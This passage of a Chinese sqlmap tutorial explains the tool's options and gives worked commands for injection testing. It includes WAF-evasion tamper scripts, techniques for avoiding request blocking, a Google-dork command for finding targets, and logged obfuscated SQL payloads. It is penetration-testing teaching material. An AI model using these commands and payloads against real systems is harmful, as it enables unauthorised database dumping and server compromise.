sqlmap注入詳解

免責聲明:本文僅做分享...

目錄

1.介紹

2.特點

3.下載

4.幫助文檔

5.常見命令

指定目標

請求

HTTP cookie頭

HTTP User-Agent頭

HTTP協議的證書認證

HTTP(S)代理

HTTP請求延遲

設定超時時間

設定重試超時

設定隨機改變的參數值

利用正則過濾目標網址

避免過多的錯誤請求被屏蔽

關掉URL參數值編碼

每次請求時候執行自定義的python代碼

6.注入

測試參數

指定數據庫

指定數據庫服務器系統

指定無效的大數字

只定無效的邏輯

注入payload

修改注入的數據

7.探測

探測等級

風險等級

頁面比較

8.注入技術

測試是否是注入

設定延遲注入的時間

設定UNION查詢字段數

設定UNION查詢使用的字符

二階SQL注入

8.列數據

標志

用戶

當前數據庫

當前用戶是否為管理用

列數據庫管理用戶

列出并破解數據庫用戶的hash

列出數據庫管理員權限

列出數據庫管理員角色

列出數據庫系統的數據庫

列舉數據庫表

列舉數據庫表中的字段

列舉數據庫系統的架構

獲取表中數據個數

獲取整個表的數據

獲取所有數據庫表的內容

搜索字段,表,數據庫

運行自定義的SQL語句

10.爆破

暴力破解表名

暴力破解列名

用戶自定義函數注入

11.系統文件操作

從數據庫服務器中讀取文件

把文件上傳到數據庫服務器中

運行任意操作系統命令

Meterpreter配合使用

12.對Windows注冊表操作

讀取注冊表值

寫入注冊表值

刪除注冊表值

注冊表輔助選項

13.常規參數

從sqlite中讀取session

保存HTTP(S)日志

非交互模式

強制使用字符編碼

爬行網站URL

規定輸出到CSV中的分隔符

DBMS身份驗證

定義dump數據的格式

預估完成時間

刷新session文件

自動獲取form表單測試

忽略在會話文件中存儲的查詢結果

使用DBMS的hex函數

自定義輸出的路徑

從響應中獲取DBMS的錯誤信息

14.其他的一些參數

使用參數縮寫

成功SQL注入時警告

設定會發的答案

發現SQL注入時發出蜂鳴聲

啟發式檢測WAF/IPS/IDS保護

清理sqlmap的UDF(s)和表

禁用彩色輸出

使用指定的Google結果頁面

使用HTTP參數污染

測試WAF/IPS/IDS保護

模仿智能手機

安全的刪除output目錄的文件

啟發式判斷注入

初級用戶向導參數

15.SQLMAP滲透測試實戰技巧一

檢測注入

獲取敏感信息

獲取所有庫

獲取表

獲取表的字段

獲取數據

獲取指定條數

刪除緩存文件

安全的刪除output目錄的文件

16.SQLMAP滲透測試實戰技巧二

--technique 使用指定的注入方式

使用基于時間的延時注入

注入時使用隨機的 HTTP User-Agent

設置超時時間

讀取文本進行SQL注入檢測

指定參數進行注入

17.SQLMAP滲透測試實戰技巧三

修改默認最大線程

修改默認的瀏覽器

18.SQLMAP滲透測試實戰技巧四 繞過防火墻攔截

寬字節注入

base64注入

tampter模塊列表

設置線程大小

設置http請求延時

使用代理注入

使用代理池注入

19.SQLMAP滲透測試實戰技巧五 命令執行 文件讀寫 dns盲注

sqlmap命令執行

讀取和寫入文件

sqlmap dnslog注入

sqlmap --dns-domain 注入

20.編寫tamper模塊繞過waf攔截繼續注入

21.sqlmap 暴力窮舉表字段


1.介紹

官網 sqlmap: automatic SQL injection and database takeover tool

sqlmap是一個開源的滲透測試工具,它可以自動化檢測和利用SQL注入漏洞并接管數據庫服務器。它有一個強大的檢測引擎,許多適合于終極滲透測試的良好特性和眾多的操作選項,從數據庫指紋、數據獲取到訪問底層文件系統、執行操作系統命令。

2.特點

全面支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB數據庫管理系統。 全面支持六種SQL注入技術:boolean-based盲注、time-based盲注、error-based、UNION查詢、堆疊查詢和帶外查詢。 通過提供DBMS憑證、IP地址、端口和數據庫名,支持不通過SQL注入的直接連接數據庫。 支持枚舉用戶、密碼哈希、特權、角色、數據庫、表和列。 自動識別密碼哈希格式,支持基于字典的攻擊破解。 支持完整轉儲數據庫表,根據用戶的選擇轉儲一定范圍內的條目或特定列。用戶還可以選擇只從每列中轉儲指定字符。 支持搜索特定的數據庫名、表名,或跨表搜索特定的列名。這非常有用,例如,識別包含自定義應用程序憑證的表,其相關列名稱可能包含name、pass等字符串。 支持通過數據庫服務器所在的文件系統下載和上傳任何文件,當數據庫軟件是MySQL, PostgreSQL或Microsoft SQL server時。 支持通過數據庫服務器所在的操作系統執行任意命令并獲取輸出,當數據庫軟件為MySQL、PostgreSQL或Microsoft SQL server時。 支持在攻擊者機器和數據庫服務器所在操作系統之間建立帶外有狀態的TCP連接,這個通道根據用戶的選擇可以是交互式命令行、Meterpreter會話或圖形用戶界面(VNC)。 支持通過Metasploit的getsystem命令實現數據庫進程的用戶權限升級。

SQLMAP支持的五種不同的注入方式

B:Boolean-basedblindSQLinjection(布爾型注入) E:Error-basedSQLinjection(報錯型注入) U:UNIONquerySQLinjection(可聯合查詢注入) S:StackedqueriesSQLinjection(可多語句查詢注入) T:Time-basedblindSQLinjection(基于時間延遲注入) Q:InlineSQLInjection(內聯注入)

3.下載

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap

kali 自帶 sqlmap

更新sqlmap:

python sqlmap.py --update

4.幫助文檔

顯示終端幫助文檔

sqlmap -h

顯示sqlmap詳細的幫助文檔

sqlmap -hh

中文幫助文檔

用法:python sqlmap.py [選項]
?
選項:-h, --help ? ? ? ? ?  顯示基本幫助信息并退出-hh ? ? ? ? ? ? ? ? ? 顯示高級幫助信息并退出--version ? ? ? ? ? ? 顯示程序版本信息并退出-v VERBOSE ? ? ? ? ?  輸出信息詳細程度級別:0-6(默認為 1)
?目標:至少提供一個以下選項以指定目標
?-d DIRECT ? ? ? ? ? 直接連接數據庫-u URL, --url=URL ? 目標 URL(例如:"http://www.site.com/vuln.php?id=1")-l LOGFILE ? ? ? ?  從 Burp 或 WebScarab 代理的日志文件中解析目標地址-x SITEMAPURL ? ? ? 從遠程網站地圖(.xml)文件中解析目標-m BULKFILE ? ? ? ? 從文本文件中獲取批量目標-r REQUESTFILE ? ?  從文件中讀取 HTTP 請求-g GOOGLEDORK ? ? ? 使用 Google dork 結果作為目標-c CONFIGFILE ? ? ? 從 INI 配置文件中加載選項
?請求:以下選項可以指定連接目標地址的方式
?--method=METHOD ? ? 強制使用提供的 HTTP 方法(例如:PUT)--data=DATA ? ? ? ? 使用 POST 發送數據串--param-del=PARA..  設置參數值分隔符--cookie=COOKIE ? ? 指定 HTTP Cookie --cookie-del=COO..  設置 cookie 分隔符--load-cookies=L..  指定以 Netscape/wget 格式存放 cookies 的文件--drop-set-cookie ? 忽略 HTTP 響應中的 Set-Cookie 參數--user-agent=AGENT  指定 HTTP User-Agent--random-agent ? ?  使用隨機的 HTTP User-Agent--host=HOST ? ? ? ? 指定 HTTP Host--referer=REFERER ? 指定 HTTP Referer-H HEADER, --hea..  設置額外的 HTTP 頭參數(例如:"X-Forwarded-For: 127.0.0.1")--headers=HEADERS ? 設置額外的 HTTP 頭參數(例如:"Accept-Language: fr\nETag: 123")--auth-type=AUTH..  HTTP 認證方式(Basic,Digest,NTLM 或 PKI)--auth-cred=AUTH..  HTTP 認證憑證(username:password)--auth-file=AUTH..  HTTP 認證 PEM 證書/私鑰文件--ignore-code=IG..  忽略 HTTP 錯誤碼(例如:401)--ignore-proxy ? ?  忽略系統默認代理設置--ignore-redirects  忽略重定向嘗試--ignore-timeouts ? 忽略連接超時--proxy=PROXY ? ? ? 使用代理連接目標 URL--proxy-cred=PRO..  使用代理進行認證(username:password)--proxy-file=PRO..  從文件中加載代理列表--tor ? ? ? ? ? ? ? 使用 Tor 匿名網絡--tor-port=TORPORT  設置 Tor 代理端口代替默認端口--tor-type=TORTYPE  設置 Tor 代理方式(HTTP,SOCKS4 或 SOCKS5(默認))--check-tor ? ? ? ? 檢查是否正確使用了 Tor--delay=DELAY ? ? ? 設置每個 HTTP 請求的延遲秒數--timeout=TIMEOUT ? 設置連接響應的有效秒數(默認為 30)--retries=RETRIES ? 連接超時時重試次數(默認為 3)--randomize=RPARAM  隨機更改給定的參數值--safe-url=SAFEURL  測試過程中可頻繁訪問且合法的 URL 地址(譯者注:有些網站在你連續多次訪問錯誤地址時會關閉會話連接,后面的“請求”小節有詳細說明)--safe-post=SAFE..  使用 POST 方法發送合法的數據--safe-req=SAFER..  從文件中加載合法的 HTTP 請求--safe-freq=SAFE..  每訪問兩次給定的合法 URL 才發送一次測試請求--skip-urlencode ?  不對 payload 數據進行 URL 編碼--csrf-token=CSR..  設置網站用來反 CSRF 攻擊的 token--csrf-url=CSRFURL  指定可提取反 CSRF 攻擊 token 的 URL--force-ssl ? ? ? ? 強制使用 SSL/HTTPS--hpp ? ? ? ? ? ? ? 使用 HTTP 參數污染攻擊--eval=EVALCODE ? ? 在發起請求前執行給定的 Python 代碼(例如:"import hashlib;id2=hashlib.md5(id).hexdigest()")
?優化:以下選項用于優化 sqlmap 性能
?-o ? ? ? ? ? ? ? ?  開啟所有優化開關--predict-output ?  預測常用請求的輸出--keep-alive ? ? ?  使用持久的 HTTP(S) 連接--null-connection ? 僅獲取頁面大小而非實際的 HTTP 響應--threads=THREADS ? 設置 HTTP(S) 請求并發數最大值(默認為 1)
?注入:以下選項用于指定要測試的參數,提供自定義注入 payloads 和篡改參數的腳本
?-p TESTPARAMETER ?  指定需要測試的參數--skip=SKIP ? ? ? ? 指定要跳過的參數--skip-static ? ? ? 指定跳過非動態參數--param-exclude=..  用正則表達式排除參數(例如:"ses")--dbms=DBMS ? ? ? ? 指定 DBMS 類型(例如:MySQL)--dbms-cred=DBMS..  DBMS 認證憑據(username:password)--os=OS ? ? ? ? ? ? 指定 DBMS 服務器的操作系統類型--invalid-bignum ?  將無效值設置為大數--invalid-logical ? 對無效值使用邏輯運算--invalid-string ?  對無效值使用隨機字符串--no-cast ? ? ? ? ? 關閉 payload 構造機制--no-escape ? ? ? ? 關閉字符串轉義機制--prefix=PREFIX ? ? 注入 payload 的前綴字符串--suffix=SUFFIX ? ? 注入 payload 的后綴字符串--tamper=TAMPER ? ? 用給定腳本修改注入數據
?檢測:以下選項用于自定義檢測方式
?--level=LEVEL ? ? ? 設置測試等級(1-5,默認為 1)--risk=RISK ? ? ? ? 設置測試風險等級(1-3,默認為 1)--string=STRING ? ? 用于確定查詢結果為真時的字符串--not-string=NOT..  用于確定查詢結果為假時的字符串--regexp=REGEXP ? ? 用于確定查詢結果為真時的正則表達式--code=CODE ? ? ? ? 用于確定查詢結果為真時的 HTTP 狀態碼--text-only ? ? ? ? 只根據頁面文本內容對比頁面--titles ? ? ? ? ?  只根據頁面標題對比頁面
?技術:以下選項用于調整特定 SQL 注入技術的測試方法
?--technique=TECH ?  使用的 SQL 注入技術(默認為“BEUSTQ”,譯者注:B: Boolean-based blind SQL injection(布爾型盲注)E: Error-based SQL injection(報錯型注入)U: UNION query SQL injection(聯合查詢注入)S: Stacked queries SQL injection(堆查詢注入)T: Time-based blind SQL injection(時間型盲注)Q: inline Query injection(內聯查詢注入)--time-sec=TIMESEC  延遲 DBMS 的響應秒數(默認為 5)--union-cols=UCOLS  設置聯合查詢注入測試的列數目范圍--union-char=UCHAR  用于暴力猜解列數的字符--union-from=UFROM  設置聯合查詢注入 FROM 處用到的表--dns-domain=DNS..  設置用于 DNS 滲出攻擊的域名(譯者注:推薦閱讀《在SQL注入中使用DNS獲取數據》http://cb.drops.wiki/drops/tips-5283.html,在后面的“技術”小節中也有相應解釋)--second-order=S..  設置二階響應的結果顯示頁面的 URL(譯者注:該選項用于二階 SQL 注入)
?指紋識別:-f, --fingerprint ? 執行廣泛的 DBMS 版本指紋識別
?枚舉:以下選項用于獲取后端數據庫管理系統的信息,結構和數據表中的數據。此外,還可以運行你輸入的 SQL 語句
?-a, --all ? ? ? ? ? 獲取所有信息、數據-b, --banner ? ? ?  獲取 DBMS banner--current-user ? ?  獲取 DBMS 當前用戶--current-db ? ? ?  獲取 DBMS 當前數據庫--hostname ? ? ? ?  獲取 DBMS 服務器的主機名--is-dba ? ? ? ? ?  探測 DBMS 當前用戶是否為 DBA(數據庫管理員)--users ? ? ? ? ? ? 枚舉出 DBMS 所有用戶--passwords ? ? ? ? 枚舉出 DBMS 所有用戶的密碼哈希--privileges ? ? ?  枚舉出 DBMS 所有用戶特權級--roles ? ? ? ? ? ? 枚舉出 DBMS 所有用戶角色--dbs ? ? ? ? ? ? ? 枚舉出 DBMS 所有數據庫--tables ? ? ? ? ?  枚舉出 DBMS 數據庫中的所有表--columns ? ? ? ? ? 枚舉出 DBMS 表中的所有列--schema ? ? ? ? ?  枚舉出 DBMS 所有模式--count ? ? ? ? ? ? 獲取數據表數目--dump ? ? ? ? ? ?  導出 DBMS 數據庫表項--dump-all ? ? ? ?  導出所有 DBMS 數據庫表項--search ? ? ? ? ?  搜索列,表和/或數據庫名--comments ? ? ? ?  獲取 DBMS 注釋-D DB ? ? ? ? ? ? ? 指定要枚舉的 DBMS 數據庫-T TBL ? ? ? ? ? ?  指定要枚舉的 DBMS 數據表-C COL ? ? ? ? ? ?  指定要枚舉的 DBMS 數據列-X EXCLUDECOL ? ? ? 指定要排除的 DBMS 數據列-U USER ? ? ? ? ? ? 指定枚舉的 DBMS 用戶--exclude-sysdbs ?  枚舉所有數據表時,指定排除特定系統數據庫--pivot-column=P..  指定主列--where=DUMPWHERE ? 在轉儲表時使用 WHERE 條件語句--start=LIMITSTART  指定要導出的數據表條目開始行數--stop=LIMITSTOP ?  指定要導出的數據表條目結束行數--first=FIRSTCHAR ? 指定獲取返回查詢結果的開始字符位--last=LASTCHAR ? ? 指定獲取返回查詢結果的結束字符位--sql-query=QUERY ? 指定要執行的 SQL 語句--sql-shell ? ? ? ? 調出交互式 SQL shell--sql-file=SQLFILE  執行文件中的 SQL 語句
?暴力破解:以下選項用于暴力破解測試
?--common-tables ? ? 檢測常見的表名是否存在--common-columns ?  檢測常用的列名是否存在
?用戶自定義函數注入:以下選項用于創建用戶自定義函數
?--udf-inject ? ? ?  注入用戶自定義函數--shared-lib=SHLIB  共享庫的本地路徑
?訪問文件系統:以下選項用于訪問后端數據庫管理系統的底層文件系統
?--file-read=RFILE ? 讀取后端 DBMS 文件系統中的文件--file-write=WFILE  寫入后端 DBMS 文件系統中的文件--file-dest=DFILE ? 使用文件絕對路徑寫入到后端 DBMS
?訪問操作系統:以下選項用于訪問后端數據庫管理系統的底層操作系統
?--os-cmd=OSCMD ? ?  執行操作系統命令--os-shell ? ? ? ?  調出交互式操作系統 shell--os-pwn ? ? ? ? ?  調出 OOB shell,Meterpreter 或 VNC--os-smbrelay ? ? ? 一鍵調出 OOB shell,Meterpreter 或 VNC--os-bof ? ? ? ? ?  利用存儲過程的緩沖區溢出--priv-esc ? ? ? ?  數據庫進程用戶提權--msf-path=MSFPATH  Metasploit 框架的本地安裝路徑--tmp-path=TMPPATH  遠程臨時文件目錄的絕對路徑
?訪問 Windows 注冊表:以下選項用于訪問后端數據庫管理系統的 Windows 注冊表
?--reg-read ? ? ? ?  讀取一個 Windows 注冊表鍵值--reg-add ? ? ? ? ? 寫入一個 Windows 注冊表鍵值數據--reg-del ? ? ? ? ? 刪除一個 Windows 注冊表鍵值--reg-key=REGKEY ?  指定 Windows 注冊表鍵--reg-value=REGVAL  指定 Windows 注冊表鍵值--reg-data=REGDATA  指定 Windows 注冊表鍵值數據--reg-type=REGTYPE  指定 Windows 注冊表鍵值類型
?通用選項:以下選項用于設置通用的參數
?-s SESSIONFILE ? ?  從文件(.sqlite)中讀入會話信息-t TRAFFICFILE ? ?  保存所有 HTTP 流量記錄到指定文本文件--batch ? ? ? ? ? ? 從不詢問用戶輸入,使用默認配置--binary-fields=..  具有二進制值的結果字段(例如:"digest")--check-internet ?  在訪問目標之前檢查是否正常連接互聯網--crawl=CRAWLDEPTH  從目標 URL 開始爬取網站--crawl-exclude=..  用正則表達式篩選爬取的頁面(例如:"logout")--csv-del=CSVDEL ?  指定輸出到 CVS 文件時使用的分隔符(默認為“,”)--charset=CHARSET ? 指定 SQL 盲注字符集(例如:"0123456789abcdef")--dump-format=DU..  導出數據的格式(CSV(默認),HTML 或 SQLITE)--encoding=ENCOD..  指定獲取數據時使用的字符編碼(例如:GBK)--eta ? ? ? ? ? ? ? 顯示每個結果輸出的預計到達時間--flush-session ? ? 清空當前目標的會話文件--forms ? ? ? ? ? ? 解析并測試目標 URL 的表單--fresh-queries ? ? 忽略存儲在會話文件中的查詢結果--har=HARFILE ? ? ? 將所有 HTTP 流量記錄到一個 HAR 文件中--hex ? ? ? ? ? ? ? 獲取數據時調用 DBMS 的 hex 函數--output-dir=OUT..  自定義輸出目錄路徑--parse-errors ? ?  從響應中解析并顯示 DBMS 錯誤信息--save=SAVECONFIG ? 將選項設置保存到一個 INI 配置文件--scope=SCOPE ? ? ? 用正則表達式從提供的代理日志中過濾目標--test-filter=TE..  根據 payloads 和/或標題(例如:ROW)選擇測試--test-skip=TEST..  根據 payloads 和/或標題(例如:BENCHMARK)跳過部分測試--update ? ? ? ? ?  更新 sqlmap
?其他選項:-z MNEMONICS ? ? ?  使用短助記符(例如:“flu,bat,ban,tec=EU”)--alert=ALERT ? ? ? 在找到 SQL 注入時運行 OS 命令--answers=ANSWERS ? 設置問題答案(例如:“quit=N,follow=N”)--beep ? ? ? ? ? ?  出現問題提醒或在發現 SQL 注入時發出提示音--cleanup ? ? ? ? ? 指定移除 DBMS 中的特定的 UDF 或者數據表--dependencies ? ?  檢查 sqlmap 缺少什么(非核心)依賴--disable-coloring  關閉彩色控制臺輸出--gpage=GOOGLEPAGE  指定頁碼使用 Google dork 結果--identify-waf ? ?  針對 WAF/IPS/IDS 保護進行徹底的測試--mobile ? ? ? ? ?  使用 HTTP User-Agent 模仿智能手機--offline ? ? ? ? ? 在離線模式下工作(僅使用會話數據)--purge-output ? ?  安全地刪除輸出目錄的所有內容--skip-waf ? ? ? ?  跳過啟發式檢測 WAF/IPS/IDS 保護--smart ? ? ? ? ? ? 只有在使用啟發式檢測時才進行徹底的測試--sqlmap-shell ? ?  調出交互式 sqlmap shell--tmp-dir=TMPDIR ?  指定用于存儲臨時文件的本地目錄--web-root=WEBROOT  指定 Web 服務器根目錄(例如:"/var/www")--wizard ? ? ? ? ?  適合初級用戶的向導界面
?

5.常見命令

sqlmap -u http://sqlmap.com/index.php?id=1 -v 1

sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -v 1

-u 和--url參數一樣 都是代表填寫測試的url連接 如果存在&符號需要添加把url放在雙引號內

-v 表示 輸出信息詳細程度級別:0-6(默認為 1)

0:只顯示Python回源(tracebacks),錯誤(error)和關鍵(criticle)信息。
1:同時顯示信息(info)和警告信息(warning)(默認為1)
2: 同時顯示調試信息(debug)
3:同時顯示注入的有效載荷(payloads)
4:同時顯示http請求
5:同時顯示http響應頭
6:同時顯示http響應內容

級別越高,信息就越詳細,根據需求選擇合適的輸出信息。

--flush-session 清空當前目標的會話文件(不會直接讀取內存中原有的數據.)

指定目標

指定某個url進行測試

sqlmap -u http://sqlmap.com/index.php?id=1 -v 1

從文件中加載http請求測試

sqlmap -r url.txt

從burpsuite或者日志讀取http包

sqlmap -l post.txt

數據包可以多個累加的... 多個請求包

從文本中獲取多個目標掃描

sqlmap -m url.xt

http://www.moonsec.com/index.php?id=1
http://www.moonsec.com/new.php?id=1
http://www.moonsec.com/awd.php?id=1

從谷歌引擎搜索結果掃描

sqlmap可以測試注入google的搜索結果中的get參數

python sqlmap.py -g "inurl:\".php?id=1\""

請求

http數據

參數 --data

此參數是把數據以post方式提交,sqlmap會自動檢測post參數

sqlmap.py -u http://192.168.0.103/06/vul/sqli/sqli_id.php --data="id=1&submit=查詢"

指定一個參數:

參數拆分字符

參數:--param-del

當GET或POST的數據需要用其他字符分割測試參數的時候需要用到此參數。

例子:

sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

用其他字符分割,而不是&

HTTP cookie頭

參數:--cookie,--load-cookies,--drop-set-cookie

302跳轉,根本到不了指定網站

測試cookie參數是否存在注入

--level 3

cookie注入直接找get請求包去干就行.

這個參數在以下兩個方面很有用:

1、web應用需要登陸的時候。

2、你想要在這些頭參數中測試SQL注入時。

可以通過抓包把cookie獲取到,復制出來,然后加到--cookie參數里。

在HTTP請求中,遇到Set-Cookie的話,sqlmap會自動獲取并且在以后的請求中加入,并且會嘗試SQL注入。

如果你不想接受Set-Cookie可以使用--drop-set-cookie參數來拒接。

當你使用--cookie參數時,當返回一個Set-Cookie頭的時候,sqlmap會詢問你用哪個cookie來繼續接下來的請求。當--level的參數設定為2或者2以上的時候,sqlmap會嘗試注入Cookie參數。


HTTP User-Agent頭

參數:--user-agent,--random-agent

默認情況下sqlmap的HTTP請求頭中User-Agent值是:

可以使用--user-agent參數來修改,同時也可以使用--random-agent參數來隨機的從./txt/user-agents.txt中獲取。

當--level參數設定為3或者3以上的時候,會嘗試對User-Angent進行注入。 HTTP Referer頭

參數:--referer

sqlmap可以在請求中偽造HTTP中的referer,當--level參數設定為3或者3以上的時候會嘗試對referer注入。 額外的HTTP頭

參數:--headers

可以通過--headers參數來增加額外的http頭 HTTP認證保護

參數:--auth-type,--auth-cred

這些參數可以用來登陸HTTP的認證保護支持三種方式:

1、Basic

2、Digest

3、NTLM

例子:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

HTTP協議的證書認證

參數:--auth-cert

當Web服務器需要客戶端證書進行身份驗證時,需要提供兩個文件:key_file,cert_file。

key_file是格式為PEM文件,包含著你的私鑰,cert_file是格式為PEM的連接文件。

HTTP(S)代理

參數:--proxy,--proxy-cred和--ignore-proxy

使用--proxy代理是格式為:http://url:port。

當HTTP(S)代理需要認證是可以使用--proxy-cred參數:username:password。

--ignore-proxy拒絕使用本地局域網的HTTP(S)代理。

HTTP請求延遲

參數:--delay

可以設定兩個HTTP(S)請求間的延遲,設定為0.5的時候是半秒,默認是沒有延遲的。

設定超時時間

參數:--timeout

可以設定一個HTTP(S)請求超過多久判定為超時,10.5表示10.5秒,默認是30秒。

設定重試超時

參數:--retries

當HTTP(S)超時時,可以設定重新嘗試連接次數,默認是3次。

設定隨機改變的參數值

參數:--randomize

可以設定某一個參數值在每一次請求中隨機的變化,長度和類型會與提供的初始值一樣。

利用正則過濾目標網址

參數:--scope

例如:

python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

避免過多的錯誤請求被屏蔽

參數:--safe-url,--safe-freq

有的web應用程序會在你多次訪問錯誤的請求時屏蔽掉你以后的所有請求,這樣在sqlmap進行探測或者注入的時候可能造成錯誤請求而觸發這個策略,導致以后無法進行。

繞過這個策略有兩種方式:

1、--safe-url:提供一個安全不錯誤的連接,每隔一段時間都會去訪問一下。
2、--safe-freq:提供一個安全不錯誤的連接,每次測試請求之后都會再訪問一邊安全連接。

關掉URL參數值編碼

參數:--skip-urlencode

根據參數位置,他的值默認將會被URL編碼,但是有些時候后端的web服務器不遵守RFC標準,只接受不經過URL編碼的值,這時候就需要用--skip-urlencode參數。

每次請求時候執行自定義的python代碼

參數:--eval

在有些時候,需要根據某個參數的變化,而修改另個一參數,才能形成正常的請求,這時可以用--eval參數在每次請求時根據所寫python代碼做完修改后請求。

例子:

python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

上面的請求就是每次請求時根據id參數值,做一次md5后作為hash參數的值。

6.注入

測試參數

參數:-p,--skip

sqlmap默認測試所有的GET和POST參數,當--level的值大于等于2的時候也會測試HTTP Cookie頭的值,當大于等于3的時候也會測試User-Agent和HTTP Referer頭的值。但是你可以手動用-p參數設置想要測試的參數。例如: -p "id,user-anget"

當你使用--level的值很大但是有個別參數不想測試的時候可以使用--skip參數。

例如:--skip="user-angent.referer"

在有些時候web服務器使用了URL重寫,導致無法直接使用sqlmap測試參數,可以在想測試的參數后面加*

例如:

python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

sqlmap將會測試value1的位置是否可注入。

指定數據庫

參數:--dbms

默認情況系sqlmap會自動的探測web應用后端的數據庫是什么,sqlmap支持的數據庫有:

MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

指定數據庫服務器系統

參數:--os

默認情況下sqlmap會自動的探測數據庫服務器系統,支持的系統有:Linux、Windows。

指定無效的大數字

參數:--invalid-bignum

當你想指定一個報錯的數值時,可以使用這個參數,例如默認情況系id=13,sqlmap會變成id=-13來報錯,你可以指定比如id=9999999來報錯。

只定無效的邏輯

參數:--invalid-logical

原因同上,可以指定id=13把原來的id=-13的報錯改成id=13 AND 18=19。

注入payload

參數:--prefix,--suffix

在有些環境中,需要在注入的payload的前面或者后面加一些字符,來保證payload的正常執行。

例如,代碼中是這樣調用數據庫的:

$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

這時你就需要--prefix和--suffix參數了:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

這樣執行的SQL語句變成:

$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";

修改注入的數據

參數:--tamper

sqlmap除了使用CHAR()函數來防止出現單引號之外沒有對注入的數據修改,你可以使用--tamper參數對數據做修改來繞過WAF等設備。

下面是一個tamper腳本的格式:

# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):'''Description of your tamper script'''retVal = payload# your code to tamper the original payload# return the tampered payloadreturn retVal

可以查看 tamper/ 目錄下的有哪些可用的腳本

例如:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
?
[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause' injectable
[...]

7.探測

探測等級

參數:--level

共有五個等級,默認為1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根據相應的格式添加自己的payload。

這個參數不僅影響使用哪些payload同時也會影響測試的注入點,GET和POST的數據都會測試,HTTP Cookie在level為2的時候就會測試,HTTP User-Agent/Referer頭在level為3的時候就會測試。

總之在你不確定哪個payload或者參數為注入點的時候,為了保證全面性,建議使用高的level值。

風險等級

參數:--risk

共有四個風險等級,默認是1會測試大部分的測試語句,2會增加基于事件的測試語句,3會增加OR語句的SQL注入測試。

在有些時候,例如在UPDATE的語句中,注入一個OR的測試語句,可能導致更新的整個表,可能造成很大的風險。

測試的語句同樣可以在xml/payloads.xml中找到,你也可以自行添加payload。

頁面比較

參數:--string,--not-string,--regexp,--code

默認情況下sqlmap通過判斷返回頁面的不同來判斷真假,但有時候這會產生誤差,因為有的頁面在每次刷新的時候都會返回不同的代碼,比如頁面當中包含一個動態的廣告或者其他內容,這會導致sqlmap的誤判。此時用戶可以提供一個字符串或者一段正則匹配,在原始頁面與真條件下的頁面都存在的字符串,而錯誤頁面中不存在(使用--string參數添加字符串,--regexp添加正則),同時用戶可以提供一段字符串在原始頁面與真條件下的頁面都不存在的字符串,而錯誤頁面中存在的字符串(--not-string添加)。用戶也可以提供真與假條件返回的HTTP狀態碼不一樣來注入,例如,響應200的時候為真,響應401的時候為假,可以添加參數--code=200。

參數:--text-only,--titles

有些時候用戶知道真條件下的返回頁面與假條件下返回頁面是不同位置在哪里可以使用--text-only(HTTP響應體中不同)--titles(HTML的title標簽中不同)。

8.注入技術

測試是否是注入

參數:--technique

這個參數可以指定sqlmap使用的探測技術,默認情況下會測試所有的方式。

支持的探測方式如下:

B: Boolean-based blind SQL injection(布爾型注入)
E: Error-based SQL injection(報錯型注入)
U: UNION query SQL injection(可聯合查詢注入)
S: Stacked queries SQL injection(可多語句查詢注入)
T: Time-based blind SQL injection(基于時間延遲注入)

設定延遲注入的時間

參數:--time-sec

當使用繼續時間的盲注時,時刻使用--time-sec參數設定延時時間,默認是5秒。

設定UNION查詢字段數

參數:--union-cols

默認情況下sqlmap測試UNION查詢注入會測試1-10個字段數,當--level為5的時候他會增加測試到50個字段數。設定--union-cols的值應該是一段整數,如:12-16,是測試12-16個字段數。

設定UNION查詢使用的字符

參數:--union-char

默認情況下sqlmap針對UNION查詢的注入會使用NULL字符,但是有些情況下會造成頁面返回失敗,而一個隨機整數是成功的,這是你可以用--union-char只定UNION查詢的字符。

二階SQL注入

參數:--second-order

